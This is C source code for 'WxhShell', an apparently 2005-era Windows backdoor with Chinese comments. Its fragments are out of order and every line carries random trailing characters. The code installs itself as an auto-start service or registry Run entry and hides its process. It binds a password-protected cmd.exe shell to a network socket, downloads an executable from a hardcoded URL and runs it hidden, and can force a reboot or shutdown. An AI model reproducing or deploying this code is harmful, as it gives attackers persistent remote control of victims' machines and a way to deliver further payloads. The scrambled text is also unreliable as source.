    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YM/3VD  
    if(Boot(SHUTDOWN))  rOf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Aoqtz d\  
    else { F p=Q$J|  
    closesocket(wsh); YKxA2`3v%  
    ExitThread(0); tVh4v#@+  
    } dcTM02kEh  
    break; Am`A[rV0  
    } o0+BQ&A)s*  
  // 获取shell oX~$'/2v  
  case 's': { %-p{?=:K  
    CmdShell(wsh); b0x0CMf  
    closesocket(wsh); $m0x8<7nu  
    ExitThread(0); 6XCX#4'i%  
    break; w\;9&;;  
  } *SG2k .$  
  // 退出 ?g#t3j>zoF  
  case 'x': { 3&Zx*:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5i-;bLm  
    CloseIt(wsh); zc~xWy+  
    break; Vwg|?sG_  
    } `} Zbfe~  
  // 离开 1,!\7@<CT  
  case 'q': { yl+)I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K[yJu 4  
    closesocket(wsh); _eeX]xSSl  
    WSACleanup(); 34M.xB   
    exit(1); csA.3|rv  
    break; tnbs]6  
        } +dpj?  
  } 3EX&.OL!  
  } g<tTZD\g  
|}.B!vg(4  
  // 提示信息 i1\ /\^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QgM_SY|Rj  
} ~g6[ [  
  } c'TLD!^hB  
=WRU<`\  
  return; R6o<p<fTh  
} 5 9HaTq  
x9 L\"  
// shell模块句柄 . pEeR  
int CmdShell(SOCKET sock) dnc!=Z89  
{ )7mJ+d[  
STARTUPINFO si; _q}%!#4  
ZeroMemory(&si,sizeof(si)); T.N7`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1gK3= Ys  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L"<Eov6  
PROCESS_INFORMATION ProcessInfo; A;HKR4p;8  
char cmdline[]="cmd"; h#;K9#x6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i4C b&h^  
  return 0; QjbPBk Q  
} vX24W*7  
<a}|G1 h  
// 自身启动模式 zd]L9 _  
int StartFromService(void) ^G<M+RF2J  
{ !0+Ex F  
typedef struct ,/U 9v~  
{ ri V/wN9C  
  DWORD ExitStatus; 8=AKOOU7>  
  DWORD PebBaseAddress; ~7lvY+k)<  
  DWORD AffinityMask; <?}g[]i  
  DWORD BasePriority; 0|vWwZq  
  ULONG UniqueProcessId; 3YF]o9  
  ULONG InheritedFromUniqueProcessId; ~?+m=\  
}   PROCESS_BASIC_INFORMATION; ~i#xjD5  
(pNng"/  
PROCNTQSIP NtQueryInformationProcess; ,IB)Kk2  
1OeDWEcB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )O(Gw-jWE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3<E$m *  
v@SrEmg  
  HANDLE             hProcess; [cs8/Q8+  
  PROCESS_BASIC_INFORMATION pbi; @(?d0xCg  
-^"?a]B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `W S  
  if(NULL == hInst ) return 0; ~H~4 fp b  
~[,TLg 6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J0plQDe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +zPg`/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R7b*(33  
f|E'eFrFk  
  if (!NtQueryInformationProcess) return 0; ->{WO+6(  
/T'nY{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bG?[":k  
  if(!hProcess) return 0; t!C-G+It  
P6'I:/V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [=!MS?-G  
Ik)Q0_<a  
  CloseHandle(hProcess); "& |2IA  
] 6B!eB !  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l0 _O<  
if(hProcess==NULL) return 0; ]gk1h=Y~h  
rnaDo\5  
HMODULE hMod; 9?6$ 2I  
char procName[255]; 4w[ta?&6B  
unsigned long cbNeeded; 4 l(o{{  
*r3vTgo$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y~ LVK8  
y>PbYjuIU  
  CloseHandle(hProcess); @>ZjeDG>  
 e:R[  
if(strstr(procName,"services")) return 1; // 以服务启动 >f/g:[  
t$|6} BX  
  return 0; // 注册表启动 C[,-1e?  
} ?J-KB3Uv3  
%V/]V,w:*R  
// 主模块 (#`o >G(  
int StartWxhshell(LPSTR lpCmdLine) YT8`Vz$+  
{ 8A_(]Q  
  SOCKET wsl; n\Nl2u& m  
BOOL val=TRUE; /Qy0vAvJ  
  int port=0; s:H1v&t,<  
  struct sockaddr_in door; I78pul8!  
\[jItg,+  
  if(wscfg.ws_autoins) Install(); v$Z1Lh  
X9wi:  
port=atoi(lpCmdLine); C3gz)!3  
_=#mmZkq  
if(port<=0) port=wscfg.ws_port; | w -W=v  
H0 t1& :  
  WSADATA data; OwUbm0)h^V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B\yid@e  
Yd'ke,Je  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TXv#/@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !y.7"G*  
  door.sin_family = AF_INET; h08T Q=n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IuD<lMeJ J  
  door.sin_port = htons(port); 3.Kdz}  
}X-ggO,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qMOD TM~+  
closesocket(wsl); !}?]&[N=  
return 1; ;GSj }Nq  
} eNb =`  
-`&;3 7  
  if(listen(wsl,2) == INVALID_SOCKET) { 4G ?k31,k  
closesocket(wsl); dZ Z/(oE>  
return 1; g-36Q~`9v  
} f0+  
  Wxhshell(wsl); DK;-2K  
  WSACleanup(); g= 8e.Y*Fr  
|1R @Jz`  
return 0; > { Q2S  
uWE@7e4'I  
} fJKOuFK  
zT"#9"["  
// 以NT服务方式启动 ML-g"wv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wC~Uy%  
{ _45"Z}Zx  
DWORD   status = 0; `N+ P ,  
  DWORD   specificError = 0xfffffff; 10(N|2'q  
u QCS%|8C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PX] v"xf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,*US) &x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qS>el3G  
  serviceStatus.dwWin32ExitCode     = 0; Zlhr0itf  
  serviceStatus.dwServiceSpecificExitCode = 0; l]gf T&  
  serviceStatus.dwCheckPoint       = 0; vSh)r 9  
  serviceStatus.dwWaitHint       = 0; ::6@mFLR  
NG ~sE&,7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6*tGf`Pfdw  
  if (hServiceStatusHandle==0) return; *RhdoD|a  
.E(Ucnz/  
status = GetLastError(); q=U=Y n  
  if (status!=NO_ERROR) fy5)Tih%.*  
{ 4[D@[k As  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zQ~nS  
    serviceStatus.dwCheckPoint       = 0; KVBz=  
    serviceStatus.dwWaitHint       = 0; :s\s3#?  
    serviceStatus.dwWin32ExitCode     = status; $l=m?r=  
    serviceStatus.dwServiceSpecificExitCode = specificError; CAfG3;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :v`o="  
    return; [/FIY!nC?  
  } L-yC'C  
E@p9vf->  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u-,=C/iU  
  serviceStatus.dwCheckPoint       = 0; ^)WG c/  
  serviceStatus.dwWaitHint       = 0; cVN|5Y   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |yr}g-m  
} :B im`mHl  
\TjsXy=:)  
// 处理NT服务事件,比如:启动、停止 P$Nwf,d2u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NR" Xn7G  
{ hz!.|U@,{<  
switch(fdwControl) /KkUCq2A  
{ A#}IbcZ|b  
case SERVICE_CONTROL_STOP: 'a}pWkLB  
  serviceStatus.dwWin32ExitCode = 0; U<$|ET'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mSs%gL]g  
  serviceStatus.dwCheckPoint   = 0; Onao'sjY  
  serviceStatus.dwWaitHint     = 0; +m_quQ/ys  
  { $ |AxQQ%f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h8Gp>b  
  } "\30YO>\  
  return; *5^h>Vk/  
case SERVICE_CONTROL_PAUSE: :0/I2:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *`[LsG]ZF  
  break; bLg1Dd7Q  
case SERVICE_CONTROL_CONTINUE: 5^qI6 U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WE\V<MGS/  
  break; c(fwl`y !x  
case SERVICE_CONTROL_INTERROGATE: ?o2L  
  break; C.eZcNJG  
}; ,xGkE7=5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tlE+G@|^  
} !"Kg b;A  
i -+B{H  
// 标准应用程序主函数 HQ"D>hsuU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j:g/[_0s  
{ "Mth<%i  
'j|;M  
// 获取操作系统版本 U.&=b<f(0r  
OsIsNt=GetOsVer(); ,Ao8QN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E8/P D  
v q|W&  
  // 从命令行安装 )l^w _;  
  if(strpbrk(lpCmdLine,"iI")) Install();  1r$q $\  
W<t,Ivg  
  // 下载执行文件 JHcC}+H[  
if(wscfg.ws_downexe) { vb# d%1b5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UhNeY{6  
  WinExec(wscfg.ws_filenam,SW_HIDE); f -bVcWI  
} H'+P7*k#M  
!I@"+oY<  
if(!OsIsNt) { YQ&Xd/z-  
// 如果时win9x,隐藏进程并且设置为注册表启动 fU,sn5zZ  
HideProc(); "[76>\'H  
StartWxhshell(lpCmdLine); >k"/:g^t  
} Zx@{nVoYe~  
else EI'(  
  if(StartFromService()) N/(&&\3  
  // 以服务方式启动 2|+**BxHD  
  StartServiceCtrlDispatcher(DispatchTable); e(cctC|l  
else n(&6 E3ZcI  
  // 普通方式启动 ;sDFTKf  
  StartWxhshell(lpCmdLine); Pl U!-7  
I_4'9  
return 0; P'[w9'B  
} u>}k+8~  
Eg>MG87  
_jp8;M~Z  
F9N)UW:w  
=========================================== M%Ov6u<I8  
|+%K89W  
!$P&`n]@  
Ie4}F|#=  
&{99Owqg  
U)2\=%8  
" jvA]EN6$;~  
HKV]Rn  
#include <stdio.h> lCDXFy(E  
#include <string.h> u9J;OsnHK  
#include <windows.h> T0i_X(_  
#include <winsock2.h> ]oj 2  
#include <winsvc.h> :Fm)<VN"  
#include <urlmon.h> L9(fa+$+#  
s/8>(-H#  
#pragma comment (lib, "Ws2_32.lib") dx?4)lb  
#pragma comment (lib, "urlmon.lib") \)pk/  
4Y[tx]<  
#define MAX_USER   100 // 最大客户端连接数 !h4L_D0  
#define BUF_SOCK   200 // sock buffer mJl|dk_c  
#define KEY_BUFF   255 // 输入 buffer 1-4W4"#  
5P [b/.n  
#define REBOOT     0   // 重启 Ry8@U9B6,t  
#define SHUTDOWN   1   // 关机 l:%4@t`  
4$C:r&K  
#define DEF_PORT   5000 // 监听端口 w`q):yXX  
wjDLsf,  
#define REG_LEN     16   // 注册表键长度 f3h^R20qmO  
#define SVC_LEN     80   // NT服务名长度 5#~u U  
D3N\$D  
// 从dll定义API 6Dwj^e0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _Uc le  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Srg `Tt]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x xWnB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a2/!~X9F  
g^/  
// wxhshell配置信息 s${ew.eW  
struct WSCFG { s0WI93+z  
  int ws_port;         // 监听端口 %Sf%XNtu  
  char ws_passstr[REG_LEN]; // 口令 lOYzo  
  int ws_autoins;       // 安装标记, 1=yes 0=no  1)U%p  
  char ws_regname[REG_LEN]; // 注册表键名 n]jZ2{g+   
  char ws_svcname[REG_LEN]; // 服务名 >d%;+2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \hoYQK j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;b-Y$<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lku}I4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  `C9/=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eJlTCXeZ|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3!ZndW SHV  
A@^Y2:pY  
}; }j;*7x8(  
*DcJ).  
// default Wxhshell configuration :_X9x{  
struct WSCFG wscfg={DEF_PORT, eTw sh]  
    "xuhuanlingzhe", gZ8n[zxf6  
    1, hi^@969  
    "Wxhshell", ~RgO9p(dY  
    "Wxhshell", UsP1bh4  
            "WxhShell Service", \4zb9CxOZ  
    "Wrsky Windows CmdShell Service", O0[.*xG  
    "Please Input Your Password: ", 5srj|'ja  
  1,  #-r,;  
  "http://www.wrsky.com/wxhshell.exe", ckG`^<  
  "Wxhshell.exe" 9)}Nx>K  
    }; vau0Jn%=ck  
z)*7LI  
// 消息定义模块 {a;my"ly  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JI##l:,7r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R-5EztmLae  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XpFW(v  
char *msg_ws_ext="\n\rExit."; ;n0VF77>O  
char *msg_ws_end="\n\rQuit."; h2<Y*j  
char *msg_ws_boot="\n\rReboot..."; JL.noV3q$  
char *msg_ws_poff="\n\rShutdown..."; =wE1j  
char *msg_ws_down="\n\rSave to "; qn=~4rg]R  
I*hCIy#;  
char *msg_ws_err="\n\rErr!"; +X#JCLD  
char *msg_ws_ok="\n\rOK!"; Kw_> X&GcJ  
[Vzp D 4  
char ExeFile[MAX_PATH]; FtHR.S= u  
int nUser = 0; IY jt*p5  
HANDLE handles[MAX_USER]; QU{|S.\  
int OsIsNt; b5NPG N  
>LS*G qjq  
SERVICE_STATUS       serviceStatus; IWc?E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "-bsWC  
4AA3D!$  
// 函数声明 KVQ|l,E, /  
int Install(void); XpS].P9  
int Uninstall(void); 2GkJ7cL  
int DownloadFile(char *sURL, SOCKET wsh); C^2J<  
int Boot(int flag); w%Vw*i6o  
void HideProc(void); A"ApWJ3  
int GetOsVer(void); &ZmWR  
int Wxhshell(SOCKET wsl); C 0@tMB7  
void TalkWithClient(void *cs); 6'E3Q=}d  
int CmdShell(SOCKET sock); Teo&V  
int StartFromService(void);  # ub!  
int StartWxhshell(LPSTR lpCmdLine); OZ2YflT  
NWx.l8G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;]/>n:[ E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "kH Ft|%@  
A|Z'\D0  
// 数据结构和表定义 o$ disJ  
SERVICE_TABLE_ENTRY DispatchTable[] = CI%4!K;{  
{ uv>T8(w  
{wscfg.ws_svcname, NTServiceMain}, n_ORD@$]  
{NULL, NULL} p{c+ +P5  
}; +eT1/x0  
V) Oj6nD]  
// 自我安装 eksYIQZ]  
int Install(void) !LDuCz -  
{ tw{V7r~n  
  char svExeFile[MAX_PATH]; WJ D1U?`  
  HKEY key; $d:>(_p=A  
  strcpy(svExeFile,ExeFile); "lU%Pm]>  
9'tOF  
// 如果是win9x系统,修改注册表设为自启动 =gG_ %]``R  
if(!OsIsNt) { (`nn\)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 35>VCjCw0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ro1b (+H  
  RegCloseKey(key); dG {D2~#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9#C hn~ \  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e(t,~(  
  RegCloseKey(key); 8~q%H1[I\N  
  return 0; ;ndsq[k>  
    } <Vu/6"DP  
  } {Ftz4y)6  
}  +=Xgi$  
else { n+Bh-aV  
fYv= yP~  
// 如果是NT以上系统,安装为系统服务 F?>rWP   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _DlkTi5(w  
if (schSCManager!=0) 4|PNsHXt  
{ \*24NB  
  SC_HANDLE schService = CreateService 1lAx"VL  
  ( 7J:zIC$u>  
  schSCManager, @#wBK3Ut^  
  wscfg.ws_svcname, Tno[LP,  
  wscfg.ws_svcdisp, 1#o>< ?  
  SERVICE_ALL_ACCESS, 7soiy A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9t`   
  SERVICE_AUTO_START,  Xn<~ln  
  SERVICE_ERROR_NORMAL, b ] W^_  
  svExeFile, SiBhf3   
  NULL, =Tdh]0  
  NULL, 5|I2  
  NULL, 3>jL7sh%|  
  NULL, A$w0+&*=  
  NULL $8k QM  
  ); Mwm=r//  
  if (schService!=0) j9sK P]w  
  { ?hW?w$C  
  CloseServiceHandle(schService); 7hQf T76h  
  CloseServiceHandle(schSCManager); f(Hh(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Lbo8> L(  
  strcat(svExeFile,wscfg.ws_svcname); G|WO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lz=DP:/&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &PfCY{_  
  RegCloseKey(key); z?a<&`W  
  return 0; 0H|U9  
    } ve#*qz Y  
  } =e<;B_ ~.  
  CloseServiceHandle(schSCManager); y1zNF$<q  
} W`$D*X0*o  
} |(mr&7O  
-]!m4xvK  
return 1; 1r %~Rm  
} H*SEzVb  
rkp 1tv  
// 自我卸载 ?52{s"N0>  
int Uninstall(void) 'eKvt5&@  
{ vkQ81PEt  
  HKEY key; $-Ud&sjn  
jQrj3b.NC3  
if(!OsIsNt) { ^\Bm5QkS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]}K\&ho2  
  RegDeleteValue(key,wscfg.ws_regname); BseK?`]U"  
  RegCloseKey(key); ]klP.&I/0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uU&,KEH  
  RegDeleteValue(key,wscfg.ws_regname); vXdz?  
  RegCloseKey(key); T);eYC"@  
  return 0; pv:7kgod  
  } V !Cu%4  
} z0XH`H|~  
} pP1|/f5n`  
else { TB=KT j  
F W?zJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sn|q EH  
if (schSCManager!=0) qNhV zx  
{ !^o(?1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6##}zfl  
  if (schService!=0) D4CN%^?  
  { >g):xi3qK  
  if(DeleteService(schService)!=0) { +Lq;0tRC  
  CloseServiceHandle(schService); VxlK:*t`  
  CloseServiceHandle(schSCManager); q T16th[D  
  return 0; NT qtr="  
  } aD2+9?m  
  CloseServiceHandle(schService); 3' HtT   
  } {I/|7b>@r  
  CloseServiceHandle(schSCManager); rZ.,\ X_  
} kh11Y1Q0d  
} w|~d3]BqT  
yMdAe>@  
return 1; 6usy0g D  
} ,I(PDlvtM  
Lk%u(duU^  
// 从指定url下载文件 6$]p;}#  
int DownloadFile(char *sURL, SOCKET wsh) _h@s)"  
{ Hh/Z4`&yi  
  HRESULT hr; ] D(laqS;"  
char seps[]= "/"; ?DN4j!/$  
char *token; e ]@Ex  
char *file; R @h@@lSf  
char myURL[MAX_PATH]; IW48Sg  
char myFILE[MAX_PATH]; "E? 8. `T  
)gO=5_^u*o  
strcpy(myURL,sURL); MNy)= d&<P  
  token=strtok(myURL,seps); >e]46 K  
  while(token!=NULL) iQrTEp  
  { r_sZw@lqJ  
    file=token; *O`76+iZ|_  
  token=strtok(NULL,seps); ?;\xeFy!  
  } oD5VE  
os\"(*dix  
GetCurrentDirectory(MAX_PATH,myFILE); c0lVt)pr/  
strcat(myFILE, "\\"); Dy>U=(S  
strcat(myFILE, file); ^bVY&iXNu  
  send(wsh,myFILE,strlen(myFILE),0); _}_lrg}U  
send(wsh,"...",3,0);  R~jV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .Yl*kG6r  
  if(hr==S_OK) a59l"b  
return 0; =xO  q-M  
else c)N&}hFYC  
return 1; k'_p*H  
,n')3r   
} FZ!KZ!p  
i.4L;(cg  
// 系统电源模块 v> vU]6l  
int Boot(int flag) Rp#9T?i``[  
{ 5kwDmJy  
  HANDLE hToken; 5W0'r'{  
  TOKEN_PRIVILEGES tkp; qO5.NIs  
\M ]w I  
  if(OsIsNt) { rcc.FS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !P Cw-&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?0Xt|  
    tkp.PrivilegeCount = 1; <lk_]+ XJ3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "@xF(fyg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l:!4^>SC  
if(flag==REBOOT) { bL=32YS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yPKDn.1  
  return 0; vt;<+"eps  
} 0:W*_w0Ge  
else { kNX(@f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @IaK:  
  return 0; .O\z:GrSZz  
} R:*I>cRs  
  } 6B4s6  
  else { vXUrS+~x  
if(flag==REBOOT) { XxW~4<r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (t.pM P4  
  return 0; m"B)%?C#  
} l8n}&zX  
else { Z%*_kk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |?c v5l7E  
  return 0; |TOz{  
} !_+LmBd G  
} d2w;d&2S  
AJRfl%3  
return 1; w!NtN4>  
} ~jd:3ip+!  
>x%Z^ U  
// win9x进程隐藏模块 >+v)^7c  
void HideProc(void) U=<E,tM  
{ ~rBeJZ  
S.o@95M   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s'LY)_n  
  if ( hKernel != NULL ) v})0zz?,1  
  { }r&^*" 2=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A9lnQCsJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Sd]`I)  
    FreeLibrary(hKernel); -I1Ne^DZn4  
  } Pnb?NVP!^9  
j)Z3m @Ii5  
return; YoD1\a|  
} (r cH\   
&~ g||rq  
// 获取操作系统版本 l?_Iu_Qp  
int GetOsVer(void) saOXbt(&  
{ ;0V{^  
  OSVERSIONINFO winfo; XVi?- /2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GgH=w`;_  
  GetVersionEx(&winfo); ]Mv.Rul?~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I71kFtvcy*  
  return 1; &6/# O  
  else xz dqE  
  return 0; NQq$0<7.=W  
} GXC:~$N  
zJ42%0g  
// 客户端句柄模块 7Rr(YoWa  
int Wxhshell(SOCKET wsl) C& 0iWY\a  
{ R1'bB"$  
  SOCKET wsh; ]}/LNO*L"  
  struct sockaddr_in client; wK@k}d  
  DWORD myID; Mn(:qQo^&`  
^ N]u  
  while(nUser<MAX_USER) 6xSdA;<+]  
{ `gq@LP"o  
  int nSize=sizeof(client); 3_(fisvx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qw[)$icP  
  if(wsh==INVALID_SOCKET) return 1; [Q,E( s  
hV_eb6aj}P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #$(F&>pj  
if(handles[nUser]==0) s OD>mc#%Y  
  closesocket(wsh); _yT Gv-  
else  \p"`!n  
  nUser++; b_*Y5"(*  
  } C7&4,],  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  +Io^U  
M{+Ie?ZI  
  return 0; 1btQ[a6j  
} I%(`2 rD8G  
i Xtar;%  
// 关闭 socket B8z3W9  
void CloseIt(SOCKET wsh) =LHE_ AA  
{ q4$zsw  
closesocket(wsh); ?DEj| i8  
nUser--; d?_Bll"  
ExitThread(0); 5nIm7vlQm  
} xMDx<sk  
8$<jd^w  
// 客户端请求句柄 h^ ex?  
void TalkWithClient(void *cs) DPn]de:e  
{ hVRpk0IJDK  
v\ggFrG]  
  SOCKET wsh=(SOCKET)cs; '7Dg+a^x7  
  char pwd[SVC_LEN]; +DS_'Tmr  
  char cmd[KEY_BUFF]; epi{Ayb  
char chr[1]; I&|%Fn  
int i,j; djV^A  
+\G/j]3f  
  while (nUser < MAX_USER) { _wp6rb:8!  
zN JK+_O=  
if(wscfg.ws_passstr) { F*hOa|7/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZRO   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7Zp'}Om<I  
  //ZeroMemory(pwd,KEY_BUFF); \I; lgz2  
      i=0; 92+LY]jS  
  while(i<SVC_LEN) { ?:OL8&0  
ZLe@O~f;%  
  // 设置超时 hdtb.u~  
  fd_set FdRead; ',nGH|K.  
  struct timeval TimeOut; ;1}~(I#Y  
  FD_ZERO(&FdRead); Pq`]^^=be'  
  FD_SET(wsh,&FdRead); ^R\0<\'  
  TimeOut.tv_sec=8; WlU^+ctS  
  TimeOut.tv_usec=0;  q%,q"WU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v-2O{^n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,g%2-#L%  
{E!ie{~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8C4DOz|  
  pwd=chr[0]; QbqEe/*$_  
  if(chr[0]==0xd || chr[0]==0xa) { FQ>KbZh  
  pwd=0; jx a?  
  break; 'E+Ty(ED5  
  } j?4k{?x  
  i++; W!4(EdT*Cq  
    } <*0^X%Vf\  
,tv P"@d  
  // 如果是非法用户,关闭 socket fk,[`n+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  .BJ;}  
} ac6Lv}w_  
Y~(#_K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U'@eUY(Ov$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k$?zh$  
8r(S=dA  
while(1) { i]gF 6:&  
L=ZKY  
  ZeroMemory(cmd,KEY_BUFF); ~{'.9  
*@|d7aiO  
      // 自动支持客户端 telnet标准   IQxY]0\uf6  
  j=0; BO<I/J~b  
  while(j<KEY_BUFF) { #DpDmMP9R3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qy`{y?T2  
  cmd[j]=chr[0]; +CtsD9PA  
  if(chr[0]==0xa || chr[0]==0xd) { jSp4eq  
  cmd[j]=0; d:}aFP[  
  break; o:jLM7$=  
  } B P%>J^  
  j++; azKbGS/X  
    } {0F\Y+  
:VC#\/f  
  // 下载文件 hu.c&Q>  
  if(strstr(cmd,"http://")) { p< Emy%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EaGh`*"w(7  
  if(DownloadFile(cmd,wsh)) 5hak'#2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  bz'V50  
  else =z^v)=uhp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G\&4_MS  
  } :$ j6  
  else { SD paW6(_  
W-zD1q~0?  
    switch(cmd[0]) { _P.+[RS@  
